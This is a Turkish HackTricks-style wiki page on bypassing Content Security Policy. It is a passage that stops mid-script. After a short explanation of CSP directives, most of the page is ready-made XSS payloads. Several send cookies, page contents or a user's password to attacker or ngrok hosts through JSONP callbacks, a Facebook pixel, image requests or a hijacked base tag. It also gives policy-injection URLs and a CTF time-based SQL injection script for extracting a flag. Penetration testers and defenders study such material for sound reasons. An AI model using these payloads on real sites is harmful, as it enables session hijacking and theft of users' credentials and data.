# Content Security Policy (CSP) Bypass

{{#include ../../banners/hacktricks-training.md}}

## CSP Nedir

Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir.

CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.

- Yanıt başlığı aracılığıyla uygulanmıştır:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Meta etiketi aracılığıyla uygulandı:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers

CSP bu başlıklar kullanılarak uygulanabilir veya izlenebilir:

- `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller.
- `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir.

### Defining Resources

CSP, hem aktif hem de pasif içeriğin yüklenmesi için kaynakları kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Direktifler

- **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi scriptler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen scriptler dahil.
- **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler.
- **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir.
- **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
- **frame-src**: Çerçeveler için URL'leri kısıtlar.
- **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğelere uygulanır.
- **img-src**: Resimler için izin verilen kaynakları tanımlar.
- **font-src**: `@font-face` kullanılarak yüklenen fontlar için geçerli kaynakları belirtir.
- **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
- **media-src**: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar.
- **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar.
- **base-uri**: `<base>` öğeleri kullanarak yüklenebilecek izin verilen URL'leri belirtir.
- **form-action**: Form gönderimleri için geçerli uç noktaları listeler.
- **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
- **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS'ye yeniden yazmalarını talimat verir.
- **sandbox**: `<iframe>`'in sandbox niteliğine benzer kısıtlamalar uygular.
- **report-to**: Politika ihlal edilirse bir raporun gönderileceği grubu belirtir.
- **worker-src**: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.
- **prefetch-src**: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.
- **navigate-to**: Bir belgenin herhangi bir şekilde (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.

### Kaynaklar

- `*`: `data:`, `blob:`, `filesystem:` şemaları dışındaki tüm URL'lere izin verir.
- `'self'`: Aynı alan adından yüklemeye izin verir.
- `'data'`: Veriler şeması aracılığıyla kaynakların yüklenmesine izin verir (örneğin, Base64 kodlu resimler).
- `'none'`: Herhangi bir kaynaktan yüklemeyi engeller.
- `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.
- `'unsafe-hashes'`: Belirli satır içi olay işleyicilerini etkinleştirir.
- `'unsafe-inline'`: Satır içi `<script>` veya `<style>` gibi satır içi kaynakların kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.
- `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli satır içi scriptler için bir beyaz liste.
- JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür `doc.defaultView.top.document.querySelector("[nonce]")` ile ve ardından kötü niyetli bir script yüklemek için yeniden kullanılabilir (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), şöyle:

<details>

<summary>Nonce yeniden kullanarak script yükle</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>

- `'sha256-<hash>'`: Belirli bir sha256 hash'ine sahip scriptleri beyaz listeye alır.
- `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alınmışsa, herhangi bir kaynaktan script yüklenmesine izin verir.
- `'host'`: `example.com` gibi belirli bir hostu belirtir.
- `https:`: URL'leri yalnızca HTTPS kullananlarla kısıtlar.
- `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir.
- `filesystem:`: Kaynakların dosya sisteminden yüklenmesine izin verir.
- `'report-sample'`: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için yararlıdır).
- `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belge ile eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).
- `'strict-origin-when-cross-origin'`: Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.
- `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.

## Güvensiz CSP Kuralları

### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Çalışan yük: `"/><script>alert(1);</script>`

#### self + 'unsafe-inline' Iframe'lar aracılığıyla

{{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md
{{#endref}}

### 'unsafe-eval'

> [!DİKKAT]
> Bu çalışmıyor, daha fazla bilgi için [**bunu kontrol edin**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Çalışan yük:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic

Eğer bir şekilde **izin verilen JS kodu, DOM'da yeni bir script etiketi oluşturabiliyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.

### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Çalışan yük:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-src ve default-src eksikliği

> [!DİKKAT] > **Görünüşe göre bu artık çalışmıyor**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Çalışan yükler:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Dosya Yükleme + 'self'
```yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;
```
Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz:

Çalışan yük:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Ancak, sunucunun **yüklenen dosyayı doğrulama** olasılığı oldukça yüksektir ve yalnızca **belirli türde dosyaların yüklenmesine** izin verecektir.

Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içine **JS kodu yükleyebilseniz bile** (örneğin: _script.png_) bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde **Javascript** kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını **bilmez**, bu nedenle onu **MIME türü olarak audio/** ile sunmaz.

Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz ([bazı polyglot örnekleri burada](https://github.com/Polydet/polyglot-database)).

### Form-action

Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). Bir [**örneği bu raporda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.

### Üçüncü Taraf Uç Noktaları + ('unsafe-eval')

> [!WARNING]
> Aşağıdaki bazı yükler için **`unsafe-eval` bile gerekli değildir**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Açık bir sürümünü yükleyin angular ve rastgele JS çalıştırın:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular + `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane kullanarak Payload'lar ([bu gönderiye göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

> [!NOTE]
> Gönderi, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden tüm **kütüphaneleri** **yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS bir sınıf adından:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JS kodunu kötüye kullanma

[**bu CTF yazısına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Daha fazla [**bu yazıdan payloadlar**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.com'u açık yönlendirme için istismar etme

Aşağıdaki URL, example.com'a yönlendirir (buradan):
```
https://www.google.com/amp/s/example.com/
```
Abusing \*.google.com/script.google.com

Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için kötüye kullanmak mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapabilirsiniz.

### Üçüncü Taraf Uç Noktaları + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınmış alan adı olarak ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```

```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP'sini aşmak için kullanılmaya hazır JSONP uç noktaları içerir.**

**Güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** aynı güvenlik açığı meydana gelecektir çünkü başlangıç uç noktası güvenilir ise, yönlendirmeler de güvenilir kabul edilir.

### Üçüncü Taraf İstismarları

Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alan adı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:

| Varlık            | İzin Verilen Alan                               | Yetenekler   |
| ----------------- | ----------------------------------------------- | ------------ |
| Facebook          | www.facebook.com, \*.facebook.com               | Exfil        |
| Hotjar            | \*.hotjar.com, ask.hotjar.io                   | Exfil        |
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net              | Exec         |
| Amazon CloudFront | \*.cloudfront.net                              | Exfil, Exec  |
| Amazon AWS        | \*.amazonaws.com                               | Exfil, Exec  |
| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net   | Exfil, Exec  |
| Salesforce Heroku | \*.herokuapp.com                               | Exfil, Exec  |
| Google Firebase   | \*.firebaseapp.com                             | Exfil, Exec  |

Hedefinizin CSP'sinde izin verilen alan adlarından herhangi birini bulursanız, üçüncü taraf hizmete kaydolarak CSP'yi aşma şansınız olabilir ve ya verileri o hizmete dışarı sızdırabilir ya da kod çalıştırabilirsiniz.

Örneğin, aşağıdaki CSP'yi bulursanız:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
or
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Veri sızdırma işlemini, her zaman olduğu gibi [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapabilmelisiniz. Bu durumda, aşağıdaki genel adımları izlersiniz:

1. Buradan bir Facebook Geliştirici hesabı oluşturun.
2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web sitenizden gönderilen etkinlikleri görün.

Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, onları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.

### RPO (Relative Path Overwrite) ile Bypass <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

Yol kısıtlamalarını aşmak için daha önce bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.

Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde aşılabilir:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyasını yükleyecektir.

Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz gibi çalışır ve bu CSP ile uyumludur.

∑, bunu çözerek, aslında `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar ki bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.

**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.**

Çözüm, sunucu tarafında `%2f`'yi `/` olarak işlememek ve bu sorunu önlemek için tarayıcı ve sunucu arasında tutarlı bir yorumlama sağlamaktır.

Çevrimiçi Örnek:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Iframe'lerde JS yürütme

{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}

### eksik **base-uri**

Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) gerçekleştirmek için kötüye kullanabilirsiniz.

Ayrıca, eğer **sayfa bir göreli yol kullanarak bir script yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak scripti **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\
Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL'si kullanın.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS olayları

Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Ancak, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.

Bu diziyi `orderBy` filtresine yönlendirerek, dizinin üzerinde yineleme yapmak ve terminal öğeyi (yani `window` nesnesini) kullanarak `alert()` gibi küresel bir fonksiyonu tetiklemek mümkündür. Aşağıda gösterilen kod parçası bu süreci açıklamaktadır:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Bu snippet, `ng-focus` direktifinin olayı tetiklemek için kullanımını vurgular, `$event.path|orderBy` kullanarak `path` dizisini manipüle eder ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanarak `document.cookie`'yi açığa çıkarır.

**Diğer Angular bypass'larını bulmak için** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

### AngularJS ve beyaz listeye alınmış alan
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JS uygulamasında script yükleme için alanları beyaz listeye alan bir CSP politikası, geri çağırma fonksiyonlarının ve belirli savunmasız sınıfların çağrılması yoluyla atlatılabilir. Bu teknikle ilgili daha fazla bilgi, bu [git deposunda](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) bulunan ayrıntılı bir kılavuzda mevcuttur.

Çalışan yükler:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) bulunabilir (bazıları silindi veya düzeltildi)

### Yönlendirme ile Bypass

CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendirirse, yine de başarısız olacaktır.

Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendirirse, orijinal kısıtlamaları aşabilir.

İşte bir örnek:
```html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Eğer CSP `https://www.google.com/a/b/c/d` olarak ayarlandıysa, yol dikkate alındığı için hem `/test` hem de `/a/test` scriptleri CSP tarafından engellenecektir.

Ancak, son `http://localhost:5555/301` **sunucu tarafında `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`** olarak **yönlendirilecektir**. Bu bir yönlendirme olduğu için, **yol dikkate alınmaz** ve **script yüklenebilir**, böylece yol kısıtlaması aşılmış olur.

Bu yönlendirme ile, yol tamamen belirtilse bile, yine de aşılmış olacaktır.

Bu nedenle, en iyi çözüm, web sitesinin herhangi bir açık yönlendirme zafiyeti olmadığından ve CSP kurallarında istismar edilebilecek herhangi bir alan adı bulunmadığından emin olmaktır.

### Dangle markup ile CSP'yi aşma

[Buradan nasıl olduğunu okuyun](../dangling-markup-html-scriptless-injection/index.html).

### 'unsafe-inline'; img-src \*; XSS aracılığıyla
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` kodun içinde herhangi bir script çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` ise web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir.

Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi istismar eder ve bir resim aracılığıyla bayrağı çıkarır):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **çalıştırmak** için "**unsafe-inline**"ı **kötüye kullanabilirsiniz** (normal bir XSS gibi) ve bu, **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### Service Workers ile

Service workers **`importScripts`** fonksiyonu CSP tarafından sınırlı değildir:

{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}

### Politika Enjeksiyonu

**Araştırma:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration**'ına **yapıştırılıyorsa**, o zaman **politikayı** işe yaramaz hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Bu direktif mevcut script-src direktiflerini **üstüne yazacaktır**.\
Bir örneği burada bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

#### Edge

Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politikayı** **silip atar**.\
Örnek: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)

### img-src \*; via XSS (iframe) - Zaman saldırısı

`'unsafe-inline'` direktifinin eksikliğine dikkat edin.\
Bu sefer kurbanı **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı **kontrol edebiliyorsanız** gerekli bilgileri çıkarabilirsiniz.

Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi ile **yanıt** **daha uzun** sürecektir çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
